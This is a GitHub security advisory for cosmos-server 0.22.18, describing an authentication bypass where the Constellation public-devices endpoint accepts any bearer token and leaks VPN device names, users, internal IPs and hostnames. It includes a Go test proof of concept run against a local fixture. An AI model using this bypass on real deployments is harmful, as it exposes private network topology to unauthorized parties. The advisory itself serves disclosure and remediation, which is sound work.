GHSA-5fqm-cc34-fcf5
Cosmos-Server's constellation public-devices endpoint accepts arbitrary bearer tokens
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/azukaar/cosmos-server | >= 0.22.18, < 0.22.19 | 0.22.19 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
`GET /cosmos/api/constellation/public-devices` discloses Constellation device metadata to a requester that supplies any non-empty `Authorization` header. The handler strips the string `Bearer ` from the header but never validates the resulting token and never uses it in the database query.
This was confirmed locally by routing a request through the real `tokenMiddleware` with `Authorization: Bearer not-a-real-token`. The request returned public Constellation device metadata from a disposable fixture. A missing-header negative control returned `401 Unauthorized`, proving the bypass is specifically the acceptance of arbitrary bearer values.
### Details
Source-to-sink path:
- `src/httpServer.go:690` registers `/api/constellation/public-devices` on the authenticated admin API router.
- `src/httpServer.go:815-817` applies `SecureAPI(..., public=false, ...)`, which runs `tokenMiddleware`.
- `src/httpServer.go:231-237` only treats `Authorization: Bearer cosmos_...` as a Cosmos API token for validation. Other bearer strings are not validated by the middleware and fall through to the handler.
- `src/constellation/api_devices_public.go:42-47` checks only that the `Authorization` header is present.
- `src/constellation/api_devices_public.go:49-50` strips `Bearer ` but does not verify the token or compare it with a device/API key.
- `src/constellation/api_devices_public.go:63-67` queries all non-blocked and non-invisible devices without including the stripped auth value in the filter.
- `src/constellation/api_devices_public.go:84-99` returns device names, user nicknames, cleaned VPN/internal IPs, role flags, public hostname, and port.
The handler does not call `utils.CheckPermissions`, `utils.CheckPermissionsOrSelf`, the Cosmos API-token permission check, or any Constellation-token validation before returning the data.
Default/common exposure evidence:
- The route is registered in the standard server setup (`src/httpServer.go:690`).
- Constellation is a documented product feature described as the VPN used to securely access applications remotely (`readme.md:49`).
- The default config ships Constellation disabled (`src/utils/utils.go:104-105`), so impact requires a deployment that enables the Constellation/VPN feature and has at least one non-blocked, non-invisible device.
- The root package identifies the product as `cosmos-server` version `0.22.18` (`package.json:1-2`).
- The Go module is `github.com/azukaar/cosmos-server` (`go.mod:0`).
False-positive screen:
- The PoC wraps the handler in the same `tokenMiddleware` used by `SecureAPI`, so it tests the deployed middleware behavior rather than directly calling the handler alone.
- A request with no `Authorization` header returns `401 Unauthorized`.
- A request with `Authorization: Bearer not-a-real-token` returns `200 OK` and device metadata.
- The fixture data is stored in a disposable embedded database under `t.TempDir()` and no external services are contacted.
- The route is not protected by handler-level `CheckPermissions`, and the arbitrary bearer value is not used by the database query.
Candidate score: 13/18. Reachability 1, attacker control 2, privilege required 2, sink impact 1, mitigation weakness 2, default exposure 1, safe PoC feasibility 2, static certainty 2, false-positive resistance 2. The lower score reflects that Constellation is disabled in the shipped default config, but it is a documented/common product feature.
Exploitability gate: confirmed for deployments with Constellation enabled and populated with devices. The reachable source, arbitrary-token bypass, data-disclosure impact, safe local reproduction, and affected-version evidence are present. Default exposure is feature-dependent rather than enabled in a fresh default config.
### PoC
Clean-checkout maintainer recipe:
1. Check out commit `88de73dcca50172393a75de0e4dc3ab93622825c` or version `0.22.18`.
2. Create `src/zz_security_poc_test.go` with the following test.
3. Run `go test ./src -run TestAuditPublicDevicesAllowsArbitraryBearer -count=1 -v`.
4. Delete `src/zz_security_poc_test.go` after confirming.
```go
package main
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"github.com/azukaar/cosmos-server/src/constellation"
"github.com/azukaar/cosmos-server/src/utils"
)
func TestAuditPublicDevicesAllowsArbitraryBearer(t *testing.T) {
oldConfig := utils.MainConfig
oldBaseConfig := utils.BaseMainConfig
oldPush := utils.PushShieldMetrics
oldConfigFolder := utils.CONFIGFOLDER
defer func() {
utils.MainConfig = oldConfig
utils.BaseMainConfig = oldBaseConfig
utils.PushShieldMetrics = oldPush
utils.CONFIGFOLDER = oldConfigFolder
utils.CloseEmbeddedDB()
}()
utils.PushShieldMetrics = func(string) {}
utils.MainConfig = utils.DefaultConfig
utils.MainConfig.NewInstall = false
utils.MainConfig.HTTPConfig.Hostname = "example.test"
utils.BaseMainConfig = utils.MainConfig
tmp := t.TempDir()
utils.CONFIGFOLDER = tmp + "/"
utils.CloseEmbeddedDB()
c, closeDb, err := utils.GetEmbeddedCollection(utils.GetRootAppId(), "devices")
defer closeDb()
if err != nil {
t.Fatalf("embedded collection: %v", err)
}
_, err = c.InsertOne(nil, utils.ConstellationDevice{
Nickname: "victim-user",
DeviceName: "private-node",
IP: "10.8.0.42/24",
IsLighthouse: true,
PublicHostname: "vpn.example.test",
Port: "4242",
Blocked: false,
Invisible: false,
})
if err != nil {
t.Fatalf("insert device fixture: %v", err)
}
handler := tokenMiddleware(http.HandlerFunc(constellation.DevicePublicList))
noAuthReq := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
noAuthRec := httptest.NewRecorder()
handler.ServeHTTP(noAuthRec, noAuthReq)
if noAuthRec.Code != http.StatusUnauthorized {
t.Fatalf("missing Authorization status = %d body = %s", noAuthRec.Code, noAuthRec.Body.String())
}
req := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
req.Header.Set("Authorization", "Bearer not-a-real-token")
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("DevicePublicList status = %d body = %s", rec.Code, rec.Body.String())
}
var body struct {
Status string `json:"status"`
Data []struct {
Name string `json:"name"`
User string `json:"user"`
IP string `json:"ip"`
PublicHostname string `json:"publicHostname"`
} `json:"data"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatalf("response JSON: %v", err)
}
if body.Status != "OK" || len(body.Data) != 1 {
t.Fatalf("unexpected response body: %s", rec.Body.String())
}
if body.Data[0].Name != "private-node" || body.Data[0].User != "victim-user" || body.Data[0].IP != "10.8.0.42" || body.Data[0].PublicHostname != "vpn.example.test" {
t.Fatalf("unexpected device disclosure: %+v", body.Data[0])
}
}
```
Observed output in this environment:
```text
=== RUN TestAuditPublicDevicesAllowsArbitraryBearer
2026/05/24 15:18:09 NOTICE: [INFO] DevicePublicList: Fetching devices with API key
--- PASS: TestAuditPublicDevicesAllowsArbitraryBearer (0.00s)
PASS
ok github.com/azukaar/cosmos-server/src 0.057s
```
Control/negative case: the same test first sends the request without `Authorization` and expects `401 Unauthorized`. The subsequent `Authorization: Bearer not-a-real-token` request succeeds and returns the fixture, proving the bypass is not an intentionally unauthenticated endpoint but an unvalidated-header check.
### Impact
An unauthenticated network attacker can enumerate Constellation device metadata from deployments that enable the Constellation/VPN feature and have visible devices. The response exposes device names, user nicknames, internal/VPN IP addresses, node roles such as lighthouse/relay/exit-node flags, public hostnames, and ports. This information can reveal private network topology and user/device inventory and can support targeted follow-on attacks against the VPN or exposed nodes.
The issue does not require a valid Cosmos session, valid Cosmos API token, valid Constellation token, or user interaction; any arbitrary non-empty bearer string is accepted.
### Suggested remediation
Replace the header-presence check with real authorization. Depending on the intended trust model, the handler should require one of:
- a valid Cosmos user/API token with an appropriate permission such as `PERM_RESOURCES_READ` or `PERM_CONFIGURATION_READ`, or
- a dedicated Constellation device/API token that is cryptographically verified and used to scope the query to devices the caller is allowed to see.
Also add regression tests for:
- missing `Authorization` header returns 401,
- malformed/arbitrary bearer token returns 401,
- invalid `cosmos_` API token returns 401 through middleware,
- valid but underprivileged token is rejected,
- valid authorized token returns only permitted devices.
### Credits
- Thai Son Dinh from VinSOC Labs (R&D)
- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
References
External links from the advisory. They lead to third-party sites.